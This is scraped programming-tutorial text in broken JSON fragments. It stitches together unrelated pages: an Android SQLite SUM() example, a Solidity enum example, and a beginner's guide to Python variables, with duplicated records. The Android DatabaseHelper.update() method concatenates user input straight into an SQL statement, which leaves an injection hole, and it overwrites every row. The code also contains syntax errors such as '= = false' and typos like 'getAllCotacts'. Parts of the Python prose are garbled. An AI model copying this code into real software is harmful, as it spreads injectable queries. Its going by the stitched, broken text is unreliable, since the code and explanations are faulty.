"text": "Traditional testing:Here, the focus is on continuous testing, through unit and integration tests. It focuses on automation as much as possible, thus saving time and development costs.This form of testing tends to ignore acceptance and system tests (whose results are more or less guaranteed through frequent unit/integration tests)."
},
{
"code": null,
"e": 14000,
"s": 13850,
"text": "This form of testing tends to ignore acceptance and system tests (whose results are more or less guaranteed through frequent unit/integration tests)."
},
{
"code": null,
"e": 14263,
"s": 14000,
"text": "Incremental testing:This tries to mimic a traditional testing model – but it’s aimed at large projects. Testing is broken down into minor pieces, where a set of codes are tested. After codes are integrated together, they’re tested again to ensure a lack of bugs."
},
{
"code": null,
"e": 14412,
"s": 14263,
"text": "DevOps/Fragile testing:Performed less frequently than traditional models, this form of testing works for smaller projects that have tight deadlines."
},
{
"code": null,
"e": 14433,
"s": 14412,
"text": "Software Engineering"
}
] |
How to use SUM () in Android sqlite?
|
Before getting into example, we should know what sqlite
data base in android is. SQLite is an open source SQL database that stores data to a text file on a device. Android comes in with built in SQLite database implementation. SQLite supports all the relational database features. In order to access this database, you don't need to establish any kind of connections for it like JDBC, ODBC etc.
This example demonstrate
about How to use SUM () in Android sqlite.
Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project.
Step 2 − Add the following code to res/layout/activity_main.xml.
<?xml version = "1.0" encoding = "utf-8"?>
<LinearLayout xmlns:android = "http://schemas.android.com/apk/res/android"
xmlns:tools = "http://schemas.android.com/tools"
android:layout_width = "match_parent"
android:layout_height = "match_parent"
tools:context = ".MainActivity"
android:orientation = "vertical">
<EditText
android:id = "@+id/name"
android:layout_width = "match_parent"
android:hint = "Enter Name"
android:layout_height = "wrap_content" />
<EditText
android:id = "@+id/salary"
android:layout_width = "match_parent"
android:inputType = "numberDecimal"
android:hint = "Enter Salary"
android:layout_height = "wrap_content" />
<LinearLayout
android:layout_width = "wrap_content"
android:layout_height = "wrap_content">
<Button
android:id = "@+id/save"
android:text = "Save"
android:layout_width = "wrap_content"
android:layout_height = "wrap_content" />
<Button
android:id = "@+id/refresh"
android:text = "Refresh"
android:layout_width = "wrap_content"
android:layout_height = "wrap_content" />
<Button
android:id = "@+id/udate"
android:text = "Update"
android:layout_width = "wrap_content"
android:layout_height = "wrap_content" />
<Button
android:id = "@+id/Delete"
android:text = "DeleteALL"
android:layout_width = "wrap_content"
android:layout_height = "wrap_content" />
</LinearLayout>
<ListView
android:id = "@+id/listView"
android:layout_width = "match_parent"
android:layout_height = "wrap_content">
</ListView>
</LinearLayout>
In the above code, we have taken name and salary as Edit text, when user click on save button it will store the data into sqlite
data base. Click on refresh button to get the SUM of salary in listview.
Step 3 − Add the following code to src/MainActivity.java
package com.example.andy.myapplication;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.ArrayAdapter;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ListView;
import android.widget.Toast;
import java.util.ArrayList;
public class MainActivity extends AppCompatActivity {
Button save, refresh;
EditText name, salary;
private ListView listView;
@Override
protected void onCreate(Bundle readdInstanceState) {
super.onCreate(readdInstanceState);
setContentView(R.layout.activity_main);
final DatabaseHelper helper = new DatabaseHelper(this);
final ArrayList array_list = helper.getAllCotacts();
name = findViewById(R.id.name);
salary = findViewById(R.id.salary);
listView = findViewById(R.id.listView);
final ArrayAdapter arrayAdapter = new ArrayAdapter(MainActivity.this,
android.R.layout.simple_list_item_1, array_list);
listView.setAdapter(arrayAdapter);
findViewById(R.id.Delete).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (helper.delete()) {
Toast.makeText(MainActivity.this, "Deleted", Toast.LENGTH_LONG).show();
} else {
Toast.makeText(MainActivity.this, "NOT Deleted", Toast.LENGTH_LONG).show();
}
}
});
findViewById(R.id.udate).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (!name.getText().toString().isEmpty() && !salary.getText().toString().isEmpty()) {
if (helper.update(name.getText().toString(), salary.getText().toString())) {
Toast.makeText(MainActivity.this, "Updated", Toast.LENGTH_LONG).show();
} else {
Toast.makeText(MainActivity.this, "NOT Updated", Toast.LENGTH_LONG).show();
}
} else {
name.setError("Enter NAME");
salary.setError("Enter Salary");
}
}
});
findViewById(R.id.refresh).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
array_list.clear();
array_list.addAll(helper.getAllCotacts());
arrayAdapter.notifyDataSetChanged();
listView.invalidateViews();
listView.refreshDrawableState();
}
});
findViewById(R.id.save).setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if (!name.getText().toString().isEmpty() && !salary.getText().toString().isEmpty()) {
if (helper.insert(name.getText().toString(), salary.getText().toString())) {
Toast.makeText(MainActivity.this, "Inserted", Toast.LENGTH_LONG).show();
} else {
Toast.makeText(MainActivity.this, "NOT Inserted", Toast.LENGTH_LONG).show();
}
} else {
name.setError("Enter NAME");
salary.setError("Enter Salary");
}
}
});
}
}
Step 4 − Add the following code to src/ DatabaseHelper.java
package com.example.andy.myapplication;
import android.content.ContentValues;
import android.content.Context;
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteException;
import android.database.sqlite.SQLiteOpenHelper;
import java.io.IOException;
import java.util.ArrayList;
class DatabaseHelper extends SQLiteOpenHelper {
public static final String DATABASE_NAME = "salaryDatabase5";
public static final String CONTACTS_TABLE_NAME = "SalaryDetails";
public DatabaseHelper(Context context) {
super(context,DATABASE_NAME,null,1);
}
@Override
public void onCreate(SQLiteDatabase db) {
try {
db.execSQL("create table "+ CONTACTS_TABLE_NAME +"(id INTEGER PRIMARY KEY, name text,salary money,datetime default current_timestamp )");
} catch (SQLiteException e) {
try {
throw new IOException(e);
} catch (IOException e1) {
e1.printStackTrace();
}
}
}
@Override
public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {
db.execSQL("DROP TABLE IF EXISTS "+CONTACTS_TABLE_NAME);
onCreate(db);
}
public boolean insert(String s, String s1) {
SQLiteDatabase db = this.getWritableDatabase();
ContentValues contentValues = new ContentValues();
contentValues.put("name", s);
contentValues.put("salary", s1);
db.replace(CONTACTS_TABLE_NAME, null, contentValues);
return true;
}
public ArrayList getAllCotacts() {
SQLiteDatabase db = this.getReadableDatabase();
ArrayList<String> array_list = new ArrayList<String>();
Cursor res = db.rawQuery( "select (SUM(salary)) AS fullname from "+CONTACTS_TABLE_NAME, null );
res.moveToFirst();
while(res.isAfterLast() = = false){
array_list.add(res.getString(res.getColumnIndex("fullname")));
res.moveToNext();
}
return array_list;
}
public boolean update(String s, String s1) {
SQLiteDatabase db = this.getWritableDatabase();
db.execSQL("UPDATE "+CONTACTS_TABLE_NAME+" SET name = "+"'"+s+"', "+ "salary = "+"'"+s1+"'");
return true;
}
public boolean delete() {
SQLiteDatabase db = this.getWritableDatabase();
db.execSQL("DELETE from "+CONTACTS_TABLE_NAME);
return true;
}
}
Let's try to run your application. I assume you have connected your actual Android Mobile device with your computer. To run the app from android studio, open one of your project's activity files and click Run icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen –
In the above result, it will show sum of salary of all records
Click here to download the project code
|
[
{
"code": null,
"e": 1582,
"s": 1187,
"text": "Before getting into example, we should know what sqlite\ndata base in android is. SQLite is an open source SQL database that stores data to a text file on a device. Android comes in with built in SQLite database implementation. SQLite supports all the relational database features. In order to access this database, you don't need to establish any kind of connections for it like JDBC, ODBC etc."
},
{
"code": null,
"e": 1650,
"s": 1582,
"text": "This example demonstrate\nabout How to use SUM () in Android sqlite."
},
{
"code": null,
"e": 1779,
"s": 1650,
"text": "Step 1 − Create a new project in Android Studio, go to File ⇒ New Project and fill all required details to create a new project."
},
{
"code": null,
"e": 1844,
"s": 1779,
"text": "Step 2 − Add the following code to res/layout/activity_main.xml."
},
{
"code": null,
"e": 3574,
"s": 1844,
"text": "<?xml version = \"1.0\" encoding = \"utf-8\"?>\n<LinearLayout xmlns:android = \"http://schemas.android.com/apk/res/android\"\n xmlns:tools = \"http://schemas.android.com/tools\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"match_parent\"\n tools:context = \".MainActivity\"\n android:orientation = \"vertical\">\n <EditText\n android:id = \"@+id/name\"\n android:layout_width = \"match_parent\"\n android:hint = \"Enter Name\"\n android:layout_height = \"wrap_content\" />\n <EditText\n android:id = \"@+id/salary\"\n android:layout_width = \"match_parent\"\n android:inputType = \"numberDecimal\"\n android:hint = \"Enter Salary\"\n android:layout_height = \"wrap_content\" />\n <LinearLayout\n android:layout_width = \"wrap_content\"\n android:layout_height = \"wrap_content\">\n <Button\n android:id = \"@+id/save\"\n android:text = \"Save\"\n android:layout_width = \"wrap_content\"\n android:layout_height = \"wrap_content\" />\n <Button\n android:id = \"@+id/refresh\"\n android:text = \"Refresh\"\n android:layout_width = \"wrap_content\"\n android:layout_height = \"wrap_content\" />\n <Button\n android:id = \"@+id/udate\"\n android:text = \"Update\"\n android:layout_width = \"wrap_content\"\n android:layout_height = \"wrap_content\" />\n <Button\n android:id = \"@+id/Delete\"\n android:text = \"DeleteALL\"\n android:layout_width = \"wrap_content\"\n android:layout_height = \"wrap_content\" />\n </LinearLayout>\n <ListView\n android:id = \"@+id/listView\"\n android:layout_width = \"match_parent\"\n android:layout_height = \"wrap_content\">\n </ListView>\n</LinearLayout>"
},
{
"code": null,
"e": 3776,
"s": 3574,
"text": "In the above code, we have taken name and salary as Edit text, when user click on save button it will store the data into sqlite\ndata base. Click on refresh button to get the SUM of salary in listview."
},
{
"code": null,
"e": 3833,
"s": 3776,
"text": "Step 3 − Add the following code to src/MainActivity.java"
},
{
"code": null,
"e": 7069,
"s": 3833,
"text": "package com.example.andy.myapplication;\nimport android.os.Bundle;\nimport android.support.v7.app.AppCompatActivity;\nimport android.view.View;\nimport android.widget.ArrayAdapter;\nimport android.widget.Button;\nimport android.widget.EditText;\nimport android.widget.ListView;\nimport android.widget.Toast;\nimport java.util.ArrayList;\npublic class MainActivity extends AppCompatActivity {\n Button save, refresh;\n EditText name, salary;\n private ListView listView;\n @Override\n protected void onCreate(Bundle readdInstanceState) {\n super.onCreate(readdInstanceState);\n setContentView(R.layout.activity_main);\n final DatabaseHelper helper = new DatabaseHelper(this);\n final ArrayList array_list = helper.getAllCotacts();\n name = findViewById(R.id.name);\n salary = findViewById(R.id.salary);\n listView = findViewById(R.id.listView);\n final ArrayAdapter arrayAdapter = new ArrayAdapter(MainActivity.this,\n android.R.layout.simple_list_item_1, array_list);\n listView.setAdapter(arrayAdapter);\n findViewById(R.id.Delete).setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n if (helper.delete()) {\n Toast.makeText(MainActivity.this, \"Deleted\", Toast.LENGTH_LONG).show();\n } else {\n Toast.makeText(MainActivity.this, \"NOT Deleted\", Toast.LENGTH_LONG).show();\n }\n }\n });\n findViewById(R.id.udate).setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n if (!name.getText().toString().isEmpty() && !salary.getText().toString().isEmpty()) {\n if (helper.update(name.getText().toString(), salary.getText().toString())) {\n Toast.makeText(MainActivity.this, \"Updated\", Toast.LENGTH_LONG).show();\n } else {\n Toast.makeText(MainActivity.this, \"NOT Updated\", Toast.LENGTH_LONG).show();\n }\n } else {\n name.setError(\"Enter NAME\");\n salary.setError(\"Enter Salary\");\n }\n }\n });\n findViewById(R.id.refresh).setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n array_list.clear();\n array_list.addAll(helper.getAllCotacts());\n arrayAdapter.notifyDataSetChanged();\n listView.invalidateViews();\n listView.refreshDrawableState();\n }\n });\n findViewById(R.id.save).setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n if (!name.getText().toString().isEmpty() && !salary.getText().toString().isEmpty()) {\n if (helper.insert(name.getText().toString(), salary.getText().toString())) {\n Toast.makeText(MainActivity.this, \"Inserted\", Toast.LENGTH_LONG).show();\n } else {\n Toast.makeText(MainActivity.this, \"NOT Inserted\", Toast.LENGTH_LONG).show();\n }\n } else {\n name.setError(\"Enter NAME\");\n salary.setError(\"Enter Salary\");\n }\n }\n });\n }\n}"
},
{
"code": null,
"e": 7129,
"s": 7069,
"text": "Step 4 − Add the following code to src/ DatabaseHelper.java"
},
{
"code": null,
"e": 9491,
"s": 7129,
"text": "package com.example.andy.myapplication;\nimport android.content.ContentValues;\nimport android.content.Context;\nimport android.database.Cursor;\nimport android.database.sqlite.SQLiteDatabase;\nimport android.database.sqlite.SQLiteException;\nimport android.database.sqlite.SQLiteOpenHelper;\nimport java.io.IOException;\nimport java.util.ArrayList;\nclass DatabaseHelper extends SQLiteOpenHelper {\n public static final String DATABASE_NAME = \"salaryDatabase5\";\n public static final String CONTACTS_TABLE_NAME = \"SalaryDetails\";\n public DatabaseHelper(Context context) {\n super(context,DATABASE_NAME,null,1);\n }\n @Override\n public void onCreate(SQLiteDatabase db) {\n try {\n db.execSQL(\"create table \"+ CONTACTS_TABLE_NAME +\"(id INTEGER PRIMARY KEY, name text,salary money,datetime default current_timestamp )\");\n } catch (SQLiteException e) {\n try {\n throw new IOException(e);\n } catch (IOException e1) {\n e1.printStackTrace();\n }\n }\n }\n @Override\n public void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {\n db.execSQL(\"DROP TABLE IF EXISTS \"+CONTACTS_TABLE_NAME);\n onCreate(db);\n }\n public boolean insert(String s, String s1) {\n SQLiteDatabase db = this.getWritableDatabase();\n ContentValues contentValues = new ContentValues();\n contentValues.put(\"name\", s);\n contentValues.put(\"salary\", s1);\n db.replace(CONTACTS_TABLE_NAME, null, contentValues);\n return true;\n }\n public ArrayList getAllCotacts() {\n SQLiteDatabase db = this.getReadableDatabase();\n ArrayList<String> array_list = new ArrayList<String>();\n Cursor res = db.rawQuery( \"select (SUM(salary)) AS fullname from \"+CONTACTS_TABLE_NAME, null );\n res.moveToFirst();\n while(res.isAfterLast() = = false){\n array_list.add(res.getString(res.getColumnIndex(\"fullname\")));\n res.moveToNext();\n }\n return array_list;\n }\n public boolean update(String s, String s1) {\n SQLiteDatabase db = this.getWritableDatabase();\n db.execSQL(\"UPDATE \"+CONTACTS_TABLE_NAME+\" SET name = \"+\"'\"+s+\"', \"+ \"salary = \"+\"'\"+s1+\"'\");\n return true;\n }\n public boolean delete() {\n SQLiteDatabase db = this.getWritableDatabase();\n db.execSQL(\"DELETE from \"+CONTACTS_TABLE_NAME);\n return true;\n }\n}"
},
{
"code": null,
"e": 9838,
"s": 9491,
"text": "Let's try to run your application. I assume you have connected your actual Android Mobile device with your computer. To run the app from android studio, open one of your project's activity files and click Run icon from the toolbar. Select your mobile device as an option and then check your mobile device which will display your default screen –"
},
{
"code": null,
"e": 9901,
"s": 9838,
"text": "In the above result, it will show sum of salary of all records"
},
{
"code": null,
"e": 9941,
"s": 9901,
"text": "Click here to download the project code"
}
] |
Solidity - Enums
|
Enums restrict a variable to have one of only a few predefined values. The values in this enumerated list are called enums.
With the use of enums it is possible to reduce the number of bugs in your code.
For example, if we consider an application for a fresh juice shop, it would be possible to restrict the glass size to small, medium, and large. This would make sure that it would not allow anyone to order any size other than small, medium, or large.
Try the following code to understand how the enum works in Solidity.
pragma solidity ^0.5.0;
contract test {
enum FreshJuiceSize{ SMALL, MEDIUM, LARGE }
FreshJuiceSize choice;
FreshJuiceSize constant defaultChoice = FreshJuiceSize.MEDIUM;
function setLarge() public {
choice = FreshJuiceSize.LARGE;
}
function getChoice() public view returns (FreshJuiceSize) {
return choice;
}
function getDefaultChoice() public pure returns (uint) {
return uint(defaultChoice);
}
}
Run the above program using steps provided in Solidity First Application chapter.
First Click setLarge Button to set the value as LARGE then click getChoice to get the selected choice.
uint8: 2
Click getDefaultChoice Button to get the default choice.
|
[
{
"code": null,
"e": 2813,
"s": 2689,
"text": "Enums restrict a variable to have one of only a few predefined values. The values in this enumerated list are called enums."
},
{
"code": null,
"e": 2893,
"s": 2813,
"text": "With the use of enums it is possible to reduce the number of bugs in your code."
},
{
"code": null,
"e": 3143,
"s": 2893,
"text": "For example, if we consider an application for a fresh juice shop, it would be possible to restrict the glass size to small, medium, and large. This would make sure that it would not allow anyone to order any size other than small, medium, or large."
},
{
"code": null,
"e": 3212,
"s": 3143,
"text": "Try the following code to understand how the enum works in Solidity."
},
{
"code": null,
"e": 3657,
"s": 3212,
"text": "pragma solidity ^0.5.0;\n\ncontract test {\n enum FreshJuiceSize{ SMALL, MEDIUM, LARGE }\n FreshJuiceSize choice;\n FreshJuiceSize constant defaultChoice = FreshJuiceSize.MEDIUM;\n\n function setLarge() public {\n choice = FreshJuiceSize.LARGE;\n }\n function getChoice() public view returns (FreshJuiceSize) {\n return choice;\n }\n function getDefaultChoice() public pure returns (uint) {\n return uint(defaultChoice);\n }\n}"
},
{
"code": null,
"e": 3739,
"s": 3657,
"text": "Run the above program using steps provided in Solidity First Application chapter."
},
{
"code": null,
"e": 3842,
"s": 3739,
"text": "First Click setLarge Button to set the value as LARGE then click getChoice to get the selected choice."
},
{
"code": null,
"e": 3852,
"s": 3842,
"text": "uint8: 2\n"
}
] |
Python Variables
|
19 Feb, 2021
Python is not “statically typed”. We do not need to declare variables before using them or declare their type. A variable is created the moment we first assign a value to it. A variable is a name given to a memory location. It is the basic unit of storage in a program.
The value stored in a variable can be changed during program execution.
A variable is only a name given to a memory location, all the operations done on the variable effects that memory location.
A variable name must start with a letter or the underscore character.
A variable name cannot start with a number.
A variable name can only contain alpha-numeric characters and underscores (A-z, 0-9, and _ ).
Variable names are case-sensitive (name, Name and NAME are three different variables).
The reserved words(keywords) cannot be used naming the variable.
Let’s see the simple variable creation:
Python3
#!/usr / bin / python # An integer assignmentage = 45 # A floating pointsalary = 1456.8 # A stringname = "John" print(age)print(salary)print(name)
Output:
45
1456.8
John
Let’s see how to declare the variable and print the variable.
Python3
# declaring the varNumber = 100 # displayprint( Number)
Output:
100
We can re-declare the python variable once we have declared the variable already.
Python3
# declaring the varNumber = 100 # displayprint("Before declare: ", Number) # re-declare the varNumber = 120.3 print("After re-declare:", Number)
Output:
Before declare: 100
After re-declare: 120.3
Also, Python allows assigning a single value to several variables simultaneously with “=” operators. For example:
Python3
#!/usr / bin / python a = b = c = 10 print(a)print(b)print(c)
Output:
10
10
10
Python allows adding different values in a single line with “,”operators.
Python3
#!/usr / bin / python a, b, c = 1, 20.2, "GeeksforGeeks" print(a)print(b)print(c)
Output:
1
20.2
GeeksforGeeks
If we use the same name, the variable starts referring to a new value and type.
Python3
#!/usr / bin / python a = 10a = "GeeksforGeeks" print(a)
Output:
GeeksforGeeks
Python3
#!/usr / bin / python a = 10b = 20print(a+b) a = "Geeksfor"b = "Geeks"print(a+b)
30
GeeksforGeeks
No using for different types would produce error.
Python3
#!/usr / bin / python a = 10b = "Geeks"print(a+b)
Output :
TypeError: unsupported operand type(s) for +: 'int' and 'str'
Local variables are the ones that are defined and declared inside a function. We can not call this variable outside the function.
Python3
# This function uses global variable sdef f(): s = "Welcome geeks" print(s) f()
Output:
Welcome geeks
Global variables are the ones that are defined and declared outside a function, and we need to use them inside a function.
Python3
# This function has a variable with# name same as s.def f(): print(s) # Global scopes = "I love Geeksforgeeks"f()
Output:
I love Geeksforgeeks
Global keyword is a keyword that allows a user to modify a variable outside of the current scope. It is used to create global variables from a non-global scope i.e inside a function. Global keyword is used inside a function only when we want to do assignments or when we want to change a variable. Global is not needed for printing and accessing.
Rules of global keyword:
If a variable is assigned a value anywhere within the function’s body, it’s assumed to be a local unless explicitly declared as global.
Variables that are only referenced inside a function are implicitly global.
We Use global keyword to use a global variable inside a function.
There is no need to use global keyword outside a function.
Example:
Python3
# Python program to modify a global# value inside a function x = 15 def change(): # using a global keyword global x # increment value of a by 5 x = x + 5 print("Value of x inside a function :", x) change()print("Value of x outside a function :", x)
Output:
Value of x inside a function : 20
Value of x outside a function : 20
Data types are the classification or categorization of data items. It represents the kind of value that tells what operations can be performed on a particular data. Since everything is an object in Python programming, data types are actually classes and variables are instance (object) of these classes.
Following are the standard or built-in data type of Python:
Numeric
Sequence Type
Boolean
Set
Dictionary
Example:
Python3
# numbericvar = 123print("Numbric data : ", var) # Sequence TypeString1 = 'Welcome to the Geeks World'print("String with the use of Single Quotes: ")print(String1) # Booleanprint(type(True))print(type(False)) # Creating a Set with# the use of a Stringset1 = set("GeeksForGeeks")print("\nSet with the use of String: ")print(set1) # Creating a Dictionary# with Integer KeysDict = {1: 'Geeks', 2: 'For', 3: 'Geeks'}print("\nDictionary with the use of Integer Keys: ")print(Dict)
Output:
Numbric data : 123
String with the use of Single Quotes:
Welcome to the Geeks World
<class 'bool'>
<class 'bool'>
Set with the use of String:
{'r', 'G', 'e', 'k', 'o', 's', 'F'}
Dictionary with the use of Integer Keys:
{1: 'Geeks', 2: 'For', 3: 'Geeks'}
Let, we assign a variable x to value 5, and another variable y to the variable x.
Python3
x = 5y = x
When Python looks at the first statement, what it does is that, first, it creates an object to represent the value 5. Then, it creates the variable x if it doesn’t exist and made it a reference to this new object 5. The second line causes Python to create the variable y, and it is not assigned with x, rather it is made to reference that object that x does. The net effect is that the variables x and y wind up referencing the same object. This situation, with multiple names referencing the same object, is called a Shared Reference in Python.Now, if we write:
Python3
x = 'Geeks'
This statement makes a new object to represent ‘Geeks’ and makes x to reference this new object.
Please refer Class, Object and Members for more details.
Python3
# Python program to show that the variables with a value # assigned in class declaration, are class variables and# variables inside methods and constructors are instance# variables. # Class for Computer Science Studentclass CSStudent: # Class Variable stream = 'cse' # The init method or constructor def __init__(self, roll): # Instance Variable self.roll = roll # Objects of CSStudent classa = CSStudent(101)b = CSStudent(102) print(a.stream) # prints "cse"print(b.stream) # prints "cse"print(a.roll) # prints 101 # Class variables can be accessed using class# name alsoprint(CSStudent.stream) # prints "cse"
cse
cse
101
cse
kumar_satyam
Picked
python-basics
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 53,
"s": 25,
"text": "\n19 Feb, 2021"
},
{
"code": null,
"e": 323,
"s": 53,
"text": "Python is not “statically typed”. We do not need to declare variables before using them or declare their type. A variable is created the moment we first assign a value to it. A variable is a name given to a memory location. It is the basic unit of storage in a program."
},
{
"code": null,
"e": 395,
"s": 323,
"text": "The value stored in a variable can be changed during program execution."
},
{
"code": null,
"e": 519,
"s": 395,
"text": "A variable is only a name given to a memory location, all the operations done on the variable effects that memory location."
},
{
"code": null,
"e": 589,
"s": 519,
"text": "A variable name must start with a letter or the underscore character."
},
{
"code": null,
"e": 633,
"s": 589,
"text": "A variable name cannot start with a number."
},
{
"code": null,
"e": 727,
"s": 633,
"text": "A variable name can only contain alpha-numeric characters and underscores (A-z, 0-9, and _ )."
},
{
"code": null,
"e": 814,
"s": 727,
"text": "Variable names are case-sensitive (name, Name and NAME are three different variables)."
},
{
"code": null,
"e": 879,
"s": 814,
"text": "The reserved words(keywords) cannot be used naming the variable."
},
{
"code": null,
"e": 919,
"s": 879,
"text": "Let’s see the simple variable creation:"
},
{
"code": null,
"e": 927,
"s": 919,
"text": "Python3"
},
{
"code": "#!/usr / bin / python # An integer assignmentage = 45 # A floating pointsalary = 1456.8 # A stringname = \"John\" print(age)print(salary)print(name)",
"e": 1078,
"s": 927,
"text": null
},
{
"code": null,
"e": 1086,
"s": 1078,
"text": "Output:"
},
{
"code": null,
"e": 1102,
"s": 1086,
"text": "45\n1456.8\nJohn\n"
},
{
"code": null,
"e": 1164,
"s": 1102,
"text": "Let’s see how to declare the variable and print the variable."
},
{
"code": null,
"e": 1172,
"s": 1164,
"text": "Python3"
},
{
"code": "# declaring the varNumber = 100 # displayprint( Number)",
"e": 1229,
"s": 1172,
"text": null
},
{
"code": null,
"e": 1237,
"s": 1229,
"text": "Output:"
},
{
"code": null,
"e": 1242,
"s": 1237,
"text": "100\n"
},
{
"code": null,
"e": 1324,
"s": 1242,
"text": "We can re-declare the python variable once we have declared the variable already."
},
{
"code": null,
"e": 1332,
"s": 1324,
"text": "Python3"
},
{
"code": "# declaring the varNumber = 100 # displayprint(\"Before declare: \", Number) # re-declare the varNumber = 120.3 print(\"After re-declare:\", Number)",
"e": 1482,
"s": 1332,
"text": null
},
{
"code": null,
"e": 1490,
"s": 1482,
"text": "Output:"
},
{
"code": null,
"e": 1536,
"s": 1490,
"text": "Before declare: 100\nAfter re-declare: 120.3\n"
},
{
"code": null,
"e": 1651,
"s": 1536,
"text": "Also, Python allows assigning a single value to several variables simultaneously with “=” operators. For example: "
},
{
"code": null,
"e": 1659,
"s": 1651,
"text": "Python3"
},
{
"code": "#!/usr / bin / python a = b = c = 10 print(a)print(b)print(c)",
"e": 1723,
"s": 1659,
"text": null
},
{
"code": null,
"e": 1731,
"s": 1723,
"text": "Output:"
},
{
"code": null,
"e": 1740,
"s": 1731,
"text": "10\n10\n10"
},
{
"code": null,
"e": 1814,
"s": 1740,
"text": "Python allows adding different values in a single line with “,”operators."
},
{
"code": null,
"e": 1822,
"s": 1814,
"text": "Python3"
},
{
"code": "#!/usr / bin / python a, b, c = 1, 20.2, \"GeeksforGeeks\" print(a)print(b)print(c)",
"e": 1906,
"s": 1822,
"text": null
},
{
"code": null,
"e": 1914,
"s": 1906,
"text": "Output:"
},
{
"code": null,
"e": 1935,
"s": 1914,
"text": "1\n20.2\nGeeksforGeeks"
},
{
"code": null,
"e": 2016,
"s": 1935,
"text": "If we use the same name, the variable starts referring to a new value and type. "
},
{
"code": null,
"e": 2024,
"s": 2016,
"text": "Python3"
},
{
"code": "#!/usr / bin / python a = 10a = \"GeeksforGeeks\" print(a)",
"e": 2083,
"s": 2024,
"text": null
},
{
"code": null,
"e": 2091,
"s": 2083,
"text": "Output:"
},
{
"code": null,
"e": 2105,
"s": 2091,
"text": "GeeksforGeeks"
},
{
"code": null,
"e": 2113,
"s": 2105,
"text": "Python3"
},
{
"code": "#!/usr / bin / python a = 10b = 20print(a+b) a = \"Geeksfor\"b = \"Geeks\"print(a+b)",
"e": 2196,
"s": 2113,
"text": null
},
{
"code": null,
"e": 2214,
"s": 2196,
"text": "30\nGeeksforGeeks\n"
},
{
"code": null,
"e": 2265,
"s": 2214,
"text": "No using for different types would produce error. "
},
{
"code": null,
"e": 2273,
"s": 2265,
"text": "Python3"
},
{
"code": "#!/usr / bin / python a = 10b = \"Geeks\"print(a+b)",
"e": 2324,
"s": 2273,
"text": null
},
{
"code": null,
"e": 2334,
"s": 2324,
"text": "Output : "
},
{
"code": null,
"e": 2397,
"s": 2334,
"text": "TypeError: unsupported operand type(s) for +: 'int' and 'str'\n"
},
{
"code": null,
"e": 2527,
"s": 2397,
"text": "Local variables are the ones that are defined and declared inside a function. We can not call this variable outside the function."
},
{
"code": null,
"e": 2535,
"s": 2527,
"text": "Python3"
},
{
"code": "# This function uses global variable sdef f(): s = \"Welcome geeks\" print(s) f()",
"e": 2624,
"s": 2535,
"text": null
},
{
"code": null,
"e": 2632,
"s": 2624,
"text": "Output:"
},
{
"code": null,
"e": 2647,
"s": 2632,
"text": "Welcome geeks\n"
},
{
"code": null,
"e": 2770,
"s": 2647,
"text": "Global variables are the ones that are defined and declared outside a function, and we need to use them inside a function."
},
{
"code": null,
"e": 2778,
"s": 2770,
"text": "Python3"
},
{
"code": "# This function has a variable with# name same as s.def f(): print(s) # Global scopes = \"I love Geeksforgeeks\"f()",
"e": 2898,
"s": 2778,
"text": null
},
{
"code": null,
"e": 2906,
"s": 2898,
"text": "Output:"
},
{
"code": null,
"e": 2928,
"s": 2906,
"text": "I love Geeksforgeeks\n"
},
{
"code": null,
"e": 3275,
"s": 2928,
"text": "Global keyword is a keyword that allows a user to modify a variable outside of the current scope. It is used to create global variables from a non-global scope i.e inside a function. Global keyword is used inside a function only when we want to do assignments or when we want to change a variable. Global is not needed for printing and accessing."
},
{
"code": null,
"e": 3300,
"s": 3275,
"text": "Rules of global keyword:"
},
{
"code": null,
"e": 3436,
"s": 3300,
"text": "If a variable is assigned a value anywhere within the function’s body, it’s assumed to be a local unless explicitly declared as global."
},
{
"code": null,
"e": 3512,
"s": 3436,
"text": "Variables that are only referenced inside a function are implicitly global."
},
{
"code": null,
"e": 3578,
"s": 3512,
"text": "We Use global keyword to use a global variable inside a function."
},
{
"code": null,
"e": 3637,
"s": 3578,
"text": "There is no need to use global keyword outside a function."
},
{
"code": null,
"e": 3646,
"s": 3637,
"text": "Example:"
},
{
"code": null,
"e": 3654,
"s": 3646,
"text": "Python3"
},
{
"code": "# Python program to modify a global# value inside a function x = 15 def change(): # using a global keyword global x # increment value of a by 5 x = x + 5 print(\"Value of x inside a function :\", x) change()print(\"Value of x outside a function :\", x)",
"e": 3929,
"s": 3654,
"text": null
},
{
"code": null,
"e": 3937,
"s": 3929,
"text": "Output:"
},
{
"code": null,
"e": 4007,
"s": 3937,
"text": "Value of x inside a function : 20\nValue of x outside a function : 20\n"
},
{
"code": null,
"e": 4311,
"s": 4007,
"text": "Data types are the classification or categorization of data items. It represents the kind of value that tells what operations can be performed on a particular data. Since everything is an object in Python programming, data types are actually classes and variables are instance (object) of these classes."
},
{
"code": null,
"e": 4371,
"s": 4311,
"text": "Following are the standard or built-in data type of Python:"
},
{
"code": null,
"e": 4379,
"s": 4371,
"text": "Numeric"
},
{
"code": null,
"e": 4393,
"s": 4379,
"text": "Sequence Type"
},
{
"code": null,
"e": 4401,
"s": 4393,
"text": "Boolean"
},
{
"code": null,
"e": 4405,
"s": 4401,
"text": "Set"
},
{
"code": null,
"e": 4416,
"s": 4405,
"text": "Dictionary"
},
{
"code": null,
"e": 4425,
"s": 4416,
"text": "Example:"
},
{
"code": null,
"e": 4433,
"s": 4425,
"text": "Python3"
},
{
